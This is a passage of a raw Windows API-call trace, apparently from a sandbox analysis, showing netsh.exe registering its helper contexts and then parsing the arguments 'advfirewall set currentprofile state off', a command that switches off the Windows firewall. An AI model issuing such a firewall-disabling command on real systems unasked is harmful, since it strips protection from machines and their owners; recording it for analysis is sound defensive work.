[0130.465] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x70) returned 0x11aa58f3f60 [0130.465] GetProcessHeap () returned 0x11aa58a0000 [0130.465] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x0) returned 1 [0130.465] RegisterContext () returned 0x0 [0130.465] _wcsicmp (_String1="rpc", _String2="advfirewall") returned 17 [0130.465] _wcsicmp (_String1="rpc", _String2="bridge") returned 16 [0130.465] _wcsicmp (_String1="rpc", _String2="dhcpclient") returned 14 [0130.465] _wcsicmp (_String1="rpc", _String2="dnsclient") returned 14 [0130.465] _wcsicmp (_String1="rpc", _String2="firewall") returned 12 [0130.465] _wcsicmp (_String1="rpc", _String2="http") returned 10 [0130.465] _wcsicmp (_String1="rpc", _String2="interface") returned 9 [0130.465] _wcsicmp (_String1="rpc", _String2="ipsec") returned 9 [0130.465] _wcsicmp (_String1="rpc", _String2="lan") returned 6 [0130.465] _wcsicmp (_String1="rpc", _String2="namespace") returned 4 [0130.465] _wcsicmp (_String1="rpc", _String2="netio") returned 4 [0130.465] _wcsicmp (_String1="rpc", _String2="p2p") returned 2 [0130.465] _wcsicmp (_String1="rpc", _String2="ras") returned 15 [0130.465] _wcsicmp (_String1="rpc", _String2="trace") returned -2 [0130.465] _wcsicmp (_String1="rpc", _String2="wfp") returned -5 [0130.465] _wcsicmp (_String1="rpc", _String2="advfirewall") returned 17 [0130.465] _wcsicmp (_String1="rpc", _String2="bridge") returned 16 [0130.465] _wcsicmp (_String1="rpc", _String2="dhcpclient") returned 14 [0130.465] _wcsicmp (_String1="rpc", _String2="dnsclient") returned 14 [0130.465] _wcsicmp (_String1="rpc", _String2="firewall") returned 12 [0130.465] _wcsicmp (_String1="rpc", _String2="http") returned 10 [0130.465] _wcsicmp (_String1="rpc", _String2="interface") returned 9 [0130.465] _wcsicmp (_String1="rpc", _String2="ipsec") returned 9 [0130.465] _wcsicmp (_String1="rpc", _String2="lan") returned 6 [0130.465] _wcsicmp (_String1="rpc", _String2="namespace") returned 4 [0130.466] _wcsicmp (_String1="rpc", _String2="netio") returned 4 [0130.466] _wcsicmp (_String1="rpc", _String2="p2p") returned 2 [0130.466] _wcsicmp (_String1="rpc", _String2="ras") returned 15 [0130.466] _wcsicmp (_String1="rpc", _String2="trace") returned -2 [0130.466] GetProcessHeap () returned 0x11aa58a0000 [0130.466] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x700) returned 0x11aa58ff350 [0130.466] GetProcessHeap () returned 0x11aa58a0000 [0130.466] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f38c0) returned 1 [0130.466] RegisterContext () returned 0x0 [0130.466] GetProcessHeap () returned 0x11aa58a0000 [0130.466] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x70) returned 0x11aa58a2830 [0130.466] GetProcessHeap () returned 0x11aa58a0000 [0130.466] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x0) returned 1 [0130.466] RegisterContext () returned 0x0 [0130.466] _wcsicmp (_String1="wcn", _String2="advfirewall") returned 22 [0130.466] _wcsicmp (_String1="wcn", _String2="bridge") returned 21 [0130.466] _wcsicmp (_String1="wcn", _String2="dhcpclient") returned 19 [0130.466] _wcsicmp (_String1="wcn", _String2="dnsclient") returned 19 [0130.466] _wcsicmp (_String1="wcn", _String2="firewall") returned 17 [0130.466] _wcsicmp (_String1="wcn", _String2="http") returned 15 [0130.466] _wcsicmp (_String1="wcn", _String2="interface") returned 14 [0130.466] _wcsicmp (_String1="wcn", _String2="ipsec") returned 14 [0130.466] _wcsicmp (_String1="wcn", _String2="lan") returned 11 [0130.466] _wcsicmp (_String1="wcn", _String2="namespace") returned 9 [0130.466] _wcsicmp (_String1="wcn", _String2="netio") returned 9 [0130.466] _wcsicmp (_String1="wcn", _String2="p2p") returned 7 [0130.466] _wcsicmp (_String1="wcn", _String2="ras") returned 5 [0130.466] _wcsicmp (_String1="wcn", _String2="rpc") returned 5 [0130.466] _wcsicmp (_String1="wcn", _String2="trace") returned 3 [0130.466] _wcsicmp (_String1="wcn", _String2="wfp") returned -3 [0130.466] _wcsicmp (_String1="wcn", _String2="advfirewall") returned 22 [0130.466] _wcsicmp (_String1="wcn", _String2="bridge") returned 21 [0130.466] _wcsicmp (_String1="wcn", _String2="dhcpclient") returned 19 [0130.467] _wcsicmp (_String1="wcn", _String2="dnsclient") returned 19 [0130.467] _wcsicmp (_String1="wcn", _String2="firewall") returned 17 [0130.467] _wcsicmp (_String1="wcn", _String2="http") returned 15 [0130.467] _wcsicmp (_String1="wcn", _String2="interface") returned 14 [0130.467] _wcsicmp (_String1="wcn", _String2="ipsec") returned 14 [0130.467] _wcsicmp (_String1="wcn", _String2="lan") returned 11 [0130.467] _wcsicmp (_String1="wcn", _String2="namespace") returned 9 [0130.467] _wcsicmp (_String1="wcn", _String2="netio") returned 9 [0130.467] _wcsicmp (_String1="wcn", _String2="p2p") returned 7 [0130.467] _wcsicmp (_String1="wcn", _String2="ras") returned 5 [0130.467] _wcsicmp (_String1="wcn", _String2="rpc") returned 5 [0130.467] _wcsicmp (_String1="wcn", _String2="trace") returned 3 [0130.467] _wcsicmp (_String1="wcn", _String2="wfp") returned -3 [0130.467] GetProcessHeap () returned 0x11aa58a0000 [0130.467] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x770) returned 0x11aa58ffa60 [0130.467] GetProcessHeap () returned 0x11aa58a0000 [0130.467] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ff350) returned 1 [0130.467] RegisterContext () returned 0x0 [0130.467] _wcsicmp (_String1="winhttp", _String2="advfirewall") returned 22 [0130.467] _wcsicmp (_String1="winhttp", _String2="bridge") returned 21 [0130.467] _wcsicmp (_String1="winhttp", _String2="dhcpclient") returned 19 [0130.467] _wcsicmp (_String1="winhttp", _String2="dnsclient") returned 19 [0130.467] _wcsicmp (_String1="winhttp", _String2="firewall") returned 17 [0130.467] _wcsicmp (_String1="winhttp", _String2="http") returned 15 [0130.467] _wcsicmp (_String1="winhttp", _String2="interface") returned 14 [0130.467] _wcsicmp (_String1="winhttp", _String2="ipsec") returned 14 [0130.467] _wcsicmp (_String1="winhttp", _String2="lan") returned 11 [0130.467] _wcsicmp (_String1="winhttp", _String2="namespace") returned 9 [0130.467] _wcsicmp (_String1="winhttp", _String2="netio") returned 9 [0130.467] _wcsicmp (_String1="winhttp", _String2="p2p") returned 7 [0130.467] _wcsicmp (_String1="winhttp", _String2="ras") returned 5 [0130.467] _wcsicmp (_String1="winhttp", _String2="rpc") returned 5 [0130.467] _wcsicmp (_String1="winhttp", _String2="trace") returned 3 [0130.467] _wcsicmp (_String1="winhttp", _String2="wcn") returned 6 [0130.467] _wcsicmp (_String1="winhttp", _String2="wfp") returned 3 [0130.467] _wcsicmp (_String1="winhttp", _String2="advfirewall") returned 22 [0130.467] _wcsicmp (_String1="winhttp", _String2="bridge") returned 21 [0130.468] _wcsicmp (_String1="winhttp", _String2="dhcpclient") returned 19 [0130.468] _wcsicmp (_String1="winhttp", _String2="dnsclient") returned 19 [0130.468] _wcsicmp (_String1="winhttp", _String2="firewall") returned 17 [0130.468] _wcsicmp (_String1="winhttp", _String2="http") returned 15 [0130.468] _wcsicmp (_String1="winhttp", _String2="interface") returned 14 [0130.468] _wcsicmp (_String1="winhttp", _String2="ipsec") returned 14 [0130.468] _wcsicmp (_String1="winhttp", _String2="lan") returned 11 [0130.468] _wcsicmp (_String1="winhttp", _String2="namespace") returned 9 [0130.468] _wcsicmp (_String1="winhttp", _String2="netio") returned 9 [0130.468] _wcsicmp (_String1="winhttp", _String2="p2p") returned 7 [0130.468] _wcsicmp (_String1="winhttp", _String2="ras") returned 5 [0130.468] _wcsicmp (_String1="winhttp", _String2="rpc") returned 5 [0130.468] _wcsicmp (_String1="winhttp", _String2="trace") returned 3 [0130.468] _wcsicmp (_String1="winhttp", _String2="wcn") returned 6 [0130.468] _wcsicmp (_String1="winhttp", _String2="wfp") returned 3 [0130.468] GetProcessHeap () returned 0x11aa58a0000 [0130.468] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x7e0) returned 0x11aa59001e0 [0130.468] GetProcessHeap () returned 0x11aa58a0000 [0130.468] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ffa60) returned 1 [0130.468] RegisterContext () returned 0x0 [0130.468] _wcsicmp (_String1="wlan", _String2="advfirewall") returned 22 [0130.468] _wcsicmp (_String1="wlan", _String2="bridge") returned 21 [0130.468] _wcsicmp (_String1="wlan", _String2="dhcpclient") returned 19 [0130.468] _wcsicmp (_String1="wlan", _String2="dnsclient") returned 19 [0130.468] _wcsicmp (_String1="wlan", _String2="firewall") returned 17 [0130.468] _wcsicmp (_String1="wlan", _String2="http") returned 15 [0130.468] _wcsicmp (_String1="wlan", _String2="interface") returned 14 [0130.468] _wcsicmp (_String1="wlan", _String2="ipsec") returned 14 [0130.468] _wcsicmp (_String1="wlan", _String2="lan") returned 11 [0130.468] _wcsicmp (_String1="wlan", _String2="namespace") returned 9 [0130.468] _wcsicmp (_String1="wlan", _String2="netio") returned 9 [0130.468] _wcsicmp (_String1="wlan", _String2="p2p") returned 7 [0130.468] _wcsicmp (_String1="wlan", _String2="ras") returned 5 [0130.468] _wcsicmp (_String1="wlan", _String2="rpc") returned 5 [0130.469] _wcsicmp (_String1="wlan", _String2="trace") returned 3 [0130.469] _wcsicmp (_String1="wlan", _String2="wcn") returned 9 [0130.469] _wcsicmp (_String1="wlan", _String2="wfp") returned 6 [0130.469] _wcsicmp (_String1="wlan", _String2="winhttp") returned 3 [0130.469] _wcsicmp (_String1="wlan", _String2="advfirewall") returned 22 [0130.469] _wcsicmp (_String1="wlan", _String2="bridge") returned 21 [0130.469] _wcsicmp (_String1="wlan", _String2="dhcpclient") returned 19 [0130.469] _wcsicmp (_String1="wlan", _String2="dnsclient") returned 19 [0130.469] _wcsicmp (_String1="wlan", _String2="firewall") returned 17 [0130.469] _wcsicmp (_String1="wlan", _String2="http") returned 15 [0130.469] _wcsicmp (_String1="wlan", _String2="interface") returned 14 [0130.469] _wcsicmp (_String1="wlan", _String2="ipsec") returned 14 [0130.469] _wcsicmp (_String1="wlan", _String2="lan") returned 11 [0130.469] _wcsicmp (_String1="wlan", _String2="namespace") returned 9 [0130.469] _wcsicmp (_String1="wlan", _String2="netio") returned 9 [0130.469] _wcsicmp (_String1="wlan", _String2="p2p") returned 7 [0130.469] _wcsicmp (_String1="wlan", _String2="ras") returned 5 [0130.469] _wcsicmp (_String1="wlan", _String2="rpc") returned 5 [0130.469] _wcsicmp (_String1="wlan", _String2="trace") returned 3 [0130.469] _wcsicmp (_String1="wlan", _String2="wcn") returned 9 [0130.469] _wcsicmp (_String1="wlan", _String2="wfp") returned 6 [0130.469] _wcsicmp (_String1="wlan", _String2="winhttp") returned 3 [0130.469] GetProcessHeap () returned 0x11aa58a0000 [0130.469] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x850) returned 0x11aa58ff350 [0130.469] GetProcessHeap () returned 0x11aa58a0000 [0130.469] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa59001e0) returned 1 [0130.469] RegisterContext () returned 0x0 [0130.469] _wcsicmp (_String1="winsock", _String2="advfirewall") returned 22 [0130.469] _wcsicmp (_String1="winsock", _String2="bridge") returned 21 [0130.469] _wcsicmp (_String1="winsock", _String2="dhcpclient") returned 19 [0130.469] _wcsicmp (_String1="winsock", _String2="dnsclient") returned 19 [0130.469] _wcsicmp (_String1="winsock", _String2="firewall") returned 17 [0130.469] _wcsicmp (_String1="winsock", _String2="http") returned 15 [0130.469] _wcsicmp (_String1="winsock", _String2="interface") returned 14 [0130.469] _wcsicmp (_String1="winsock", _String2="ipsec") returned 14 [0130.469] _wcsicmp (_String1="winsock", _String2="lan") returned 11 [0130.469] _wcsicmp (_String1="winsock", _String2="namespace") returned 9 [0130.470] _wcsicmp (_String1="winsock", _String2="netio") returned 9 [0130.470] _wcsicmp (_String1="winsock", _String2="p2p") returned 7 [0130.470] _wcsicmp (_String1="winsock", _String2="ras") returned 5 [0130.470] _wcsicmp (_String1="winsock", _String2="rpc") returned 5 [0130.470] _wcsicmp (_String1="winsock", _String2="trace") returned 3 [0130.470] _wcsicmp (_String1="winsock", _String2="wcn") returned 6 [0130.470] _wcsicmp (_String1="winsock", _String2="wfp") returned 3 [0130.470] _wcsicmp (_String1="winsock", _String2="winhttp") returned 11 [0130.470] _wcsicmp (_String1="winsock", _String2="wlan") returned -3 [0130.470] _wcsicmp (_String1="winsock", _String2="advfirewall") returned 22 [0130.470] _wcsicmp (_String1="winsock", _String2="bridge") returned 21 [0130.470] _wcsicmp (_String1="winsock", _String2="dhcpclient") returned 19 [0130.470] _wcsicmp (_String1="winsock", _String2="dnsclient") returned 19 [0130.470] _wcsicmp (_String1="winsock", _String2="firewall") returned 17 [0130.470] _wcsicmp (_String1="winsock", _String2="http") returned 15 [0130.470] _wcsicmp (_String1="winsock", _String2="interface") returned 14 [0130.470] _wcsicmp (_String1="winsock", _String2="ipsec") returned 14 [0130.470] _wcsicmp (_String1="winsock", _String2="lan") returned 11 [0130.470] _wcsicmp (_String1="winsock", _String2="namespace") returned 9 [0130.470] _wcsicmp (_String1="winsock", _String2="netio") returned 9 [0130.470] _wcsicmp (_String1="winsock", _String2="p2p") returned 7 [0130.470] _wcsicmp (_String1="winsock", _String2="ras") returned 5 [0130.470] _wcsicmp (_String1="winsock", _String2="rpc") returned 5 [0130.470] _wcsicmp (_String1="winsock", _String2="trace") returned 3 [0130.470] _wcsicmp (_String1="winsock", _String2="wcn") returned 6 [0130.470] _wcsicmp (_String1="winsock", _String2="wfp") returned 3 [0130.470] _wcsicmp (_String1="winsock", _String2="winhttp") returned 11 [0130.470] _wcsicmp (_String1="winsock", _String2="wlan") returned -3 [0130.470] GetProcessHeap () returned 0x11aa58a0000 [0130.470] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x8c0) returned 0x11aa58ffbb0 [0130.470] GetProcessHeap () returned 0x11aa58a0000 [0130.470] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ff350) returned 1 [0130.470] RegisterContext () returned 0x0 [0130.470] _wcsicmp (_String1="mbn", _String2="advfirewall") returned 12 [0130.470] _wcsicmp (_String1="mbn", _String2="bridge") returned 11 [0130.471] _wcsicmp (_String1="mbn", _String2="dhcpclient") returned 9 [0130.471] _wcsicmp (_String1="mbn", _String2="dnsclient") returned 9 [0130.471] _wcsicmp (_String1="mbn", _String2="firewall") returned 7 [0130.471] _wcsicmp (_String1="mbn", _String2="http") returned 5 [0130.471] _wcsicmp (_String1="mbn", _String2="interface") returned 4 [0130.471] _wcsicmp (_String1="mbn", _String2="ipsec") returned 4 [0130.471] _wcsicmp (_String1="mbn", _String2="lan") returned 1 [0130.471] _wcsicmp (_String1="mbn", _String2="namespace") returned -1 [0130.471] _wcsicmp (_String1="mbn", _String2="netio") returned -1 [0130.471] _wcsicmp (_String1="mbn", _String2="p2p") returned -3 [0130.471] _wcsicmp (_String1="mbn", _String2="ras") returned -5 [0130.471] _wcsicmp (_String1="mbn", _String2="rpc") returned -5 [0130.471] _wcsicmp (_String1="mbn", _String2="trace") returned -7 [0130.471] _wcsicmp (_String1="mbn", _String2="wcn") returned -10 [0130.471] _wcsicmp (_String1="mbn", _String2="wfp") returned -10 [0130.471] _wcsicmp (_String1="mbn", _String2="winhttp") returned -10 [0130.471] _wcsicmp (_String1="mbn", _String2="winsock") returned -10 [0130.471] _wcsicmp (_String1="mbn", _String2="wlan") returned -10 [0130.471] _wcsicmp (_String1="mbn", _String2="advfirewall") returned 12 [0130.471] _wcsicmp (_String1="mbn", _String2="bridge") returned 11 [0130.471] _wcsicmp (_String1="mbn", _String2="dhcpclient") returned 9 [0130.471] _wcsicmp (_String1="mbn", _String2="dnsclient") returned 9 [0130.471] _wcsicmp (_String1="mbn", _String2="firewall") returned 7 [0130.471] _wcsicmp (_String1="mbn", _String2="http") returned 5 [0130.471] _wcsicmp (_String1="mbn", _String2="interface") returned 4 [0130.471] _wcsicmp (_String1="mbn", _String2="ipsec") returned 4 [0130.471] _wcsicmp (_String1="mbn", _String2="lan") returned 1 [0130.471] _wcsicmp (_String1="mbn", _String2="namespace") returned -1 [0130.472] GetProcessHeap () returned 0x11aa58a0000 [0130.472] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x930) returned 0x11aa5900480 [0130.472] GetProcessHeap () returned 0x11aa58a0000 [0130.472] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ffbb0) returned 1 [0130.818] RegisterContext () returned 0x0 [0130.818] _wcsicmp (_String1="branchcache", _String2="advfirewall") returned 1 [0130.818] _wcsicmp (_String1="branchcache", _String2="bridge") returned -8 [0130.818] _wcsicmp (_String1="branchcache", _String2="dhcpclient") returned -2 [0130.818] _wcsicmp (_String1="branchcache", _String2="dnsclient") returned -2 [0130.818] _wcsicmp (_String1="branchcache", _String2="firewall") returned -4 [0130.818] _wcsicmp (_String1="branchcache", _String2="http") returned -6 [0130.818] _wcsicmp (_String1="branchcache", _String2="interface") returned -7 [0130.818] _wcsicmp (_String1="branchcache", _String2="ipsec") returned -7 [0130.819] _wcsicmp (_String1="branchcache", _String2="lan") returned -10 [0130.819] _wcsicmp (_String1="branchcache", _String2="mbn") returned -11 [0130.819] _wcsicmp (_String1="branchcache", _String2="namespace") returned -12 [0130.819] _wcsicmp (_String1="branchcache", _String2="netio") returned -12 [0130.819] _wcsicmp (_String1="branchcache", _String2="p2p") returned -14 [0130.819] _wcsicmp (_String1="branchcache", _String2="ras") returned -16 [0130.819] _wcsicmp (_String1="branchcache", _String2="rpc") returned -16 [0130.819] _wcsicmp (_String1="branchcache", _String2="trace") returned -18 [0130.819] _wcsicmp (_String1="branchcache", _String2="wcn") returned -21 [0130.819] _wcsicmp (_String1="branchcache", _String2="wfp") returned -21 [0130.819] _wcsicmp (_String1="branchcache", _String2="winhttp") returned -21 [0130.819] _wcsicmp (_String1="branchcache", _String2="winsock") returned -21 [0130.819] _wcsicmp (_String1="branchcache", _String2="wlan") returned -21 [0130.819] _wcsicmp (_String1="branchcache", _String2="advfirewall") returned 1 [0130.819] _wcsicmp (_String1="branchcache", _String2="bridge") returned -8 [0130.819] GetProcessHeap () returned 0x11aa58a0000 [0130.819] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x9a0) returned 0x11aa5907a90 [0130.819] GetProcessHeap () returned 0x11aa58a0000 [0130.819] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa5900480) returned 1 [0130.819] RegisterContext () returned 0x0 [0130.819] GetProcessHeap () returned 0x11aa58a0000 [0130.819] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x70) returned 0x11aa59044c0 [0130.819] GetProcessHeap () returned 0x11aa58a0000 [0130.819] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x0) returned 1 [0130.819] LoadLibraryExW (lpLibFileName="mprmsg.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffca4110000 [0131.112] GetProcAddress (hModule=0x7ffca4110000, lpProcName="MprmsgGetErrorString") returned 0x7ffca4111040 [0131.112] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6f9ab8410, Add=1) returned 1 [0131.112] SetThreadUILanguage (LangId=0x0) returned 0x409 [0131.112] _wcsicmp (_String1="advfirewall", _String2="-?") returned 52 [0131.112] _wcsicmp (_String1="advfirewall", _String2="-h") returned 52 [0131.112] _wcsicmp (_String1="advfirewall", _String2="?") returned 34 [0131.112] _wcsicmp (_String1="advfirewall", _String2="/?") returned 50 [0131.112] _wcsicmp (_String1="advfirewall", _String2="-v") returned 52 [0131.112] _wcsicmp (_String1="advfirewall", _String2="-a") returned 52 [0131.112] _wcsicmp (_String1="advfirewall", _String2="-c") returned 52 [0131.113] _wcsicmp (_String1="advfirewall", _String2="-f") returned 52 [0131.113] _wcsicmp (_String1="advfirewall", _String2="-r") returned 52 [0131.113] _wcsicmp (_String1="advfirewall", _String2="-u") returned 52 [0131.113] _wcsicmp (_String1="advfirewall", _String2="-p") returned 52 [0131.113] GetVersionExW (in: lpVersionInformation=0x14708f79b0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x14708f79b0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0131.113] _vsnwprintf (in: _Buffer=0x7ff6f9ac7ca0, _BufferCount=0x103, _Format="%d.%d.%d", _ArgList=0x14708f7978 | out: _Buffer="10.0.15063") returned 10 [0131.113] _vsnwprintf (in: _Buffer=0x7ff6f9ac7eb0, _BufferCount=0x103, _Format="%d", _ArgList=0x14708f7978 | out: _Buffer="15063") returned 5 [0131.113] _vsnwprintf (in: _Buffer=0x7ff6f9ac80c0, _BufferCount=0x103, _Format="%d", _ArgList=0x14708f7978 | out: _Buffer="0") returned 1 [0131.113] _vsnwprintf (in: _Buffer=0x7ff6f9ac82d0, _BufferCount=0x103, _Format="%d", _ArgList=0x14708f7978 | out: _Buffer="0") returned 1 [0131.113] GetProcessHeap () returned 0x11aa58a0000 [0131.113] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef370 [0131.113] GetProcessHeap () returned 0x11aa58a0000 [0131.113] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef390 [0131.113] GetProcessHeap () returned 0x11aa58a0000 [0131.113] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xc) returned 0x11aa58ef3d0 [0131.113] GetProcessHeap () returned 0x11aa58a0000 [0131.113] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef2f0 [0131.113] GetProcessHeap () returned 0x11aa58a0000 [0131.113] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xc) returned 0x11aa58ef590 [0131.113] wcscpy_s (in: _Destination=0x11aa58ef590, _SizeInWords=0x6, _Source="netsh" | out: _Destination="netsh") returned 0x0 [0131.113] GetProcessHeap () returned 0x11aa58a0000 [0131.113] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef3d0) returned 1 [0131.113] GetProcessHeap () returned 0x11aa58a0000 [0131.113] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef390) returned 1 [0131.114] GetProcessHeap () returned 0x11aa58a0000 [0131.114] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef750 [0131.114] GetProcessHeap () returned 0x11aa58a0000 [0131.114] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef850 [0131.114] GetProcessHeap () returned 0x11aa58a0000 [0131.114] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x52) returned 0x11aa58f44d0 [0131.114] GetProcessHeap () returned 0x11aa58a0000 [0131.114] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef7b0 [0131.114] GetProcessHeap () returned 0x11aa58a0000 [0131.114] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef930 [0131.114] wcscpy_s (in: _Destination=0x11aa58ef930, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0 [0131.114] GetProcessHeap () returned 0x11aa58a0000 [0131.114] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef410 [0131.114] GetProcessHeap () returned 0x11aa58a0000 [0131.114] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x8) returned 0x11aa58f3130 [0131.114] wcscpy_s (in: _Destination=0x11aa58f3130, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0 [0131.114] GetProcessHeap () returned 0x11aa58a0000 [0131.114] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef310 [0131.114] GetProcessHeap () returned 0x11aa58a0000 [0131.114] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1e) returned 0x11aa58ff6a0 [0131.114] wcscpy_s (in: _Destination=0x11aa58ff6a0, _SizeInWords=0xf, _Source="currentprofile" | out: _Destination="currentprofile") returned 0x0 [0131.114] GetProcessHeap () returned 0x11aa58a0000 [0131.114] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef510 [0131.114] GetProcessHeap () returned 0x11aa58a0000 [0131.114] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xc) returned 0x11aa58ef390 [0131.114] wcscpy_s (in: _Destination=0x11aa58ef390, _SizeInWords=0x6, _Source="state" | out: _Destination="state") returned 0x0 [0131.114] GetProcessHeap () returned 0x11aa58a0000 [0131.114] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef3d0 [0131.114] GetProcessHeap () returned 0x11aa58a0000 [0131.114] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x8) returned 0x11aa58f3100 [0131.114] wcscpy_s (in: _Destination=0x11aa58f3100, _SizeInWords=0x4, _Source="off" | out: _Destination="off") returned 0x0 [0131.114] GetProcessHeap () returned 0x11aa58a0000 [0131.114] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f44d0) returned 1 [0131.114] GetProcessHeap () returned 0x11aa58a0000 [0131.114] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef850) returned 1 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef7d0 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef3f0 [0131.115] wcscpy_s (in: _Destination=0x11aa58ef3f0, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef930) returned 1 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef7b0) returned 1 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef7b0 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef210 [0131.115] wcscpy_s (in: _Destination=0x11aa58ef210, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef3f0) returned 1 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef7d0) returned 1 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef3f0 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x8) returned 0x11aa58f3140 [0131.115] wcscpy_s (in: _Destination=0x11aa58f3140, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58f3130) returned 1 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58ef410) returned 1 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58ef410 [0131.115] GetProcessHeap () returned 0x11aa58a0000 [0131.115] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1e) returned 0x11aa58ff7c0 [0131.115] wcscpy_s (in: _Destination=0x11aa58ff7c0, _SizeInWords=0xf, _Source="currentprofile" | out: _Destination="currentprofile") returned 0x0 [0131.115] GetProcessHeap () returned 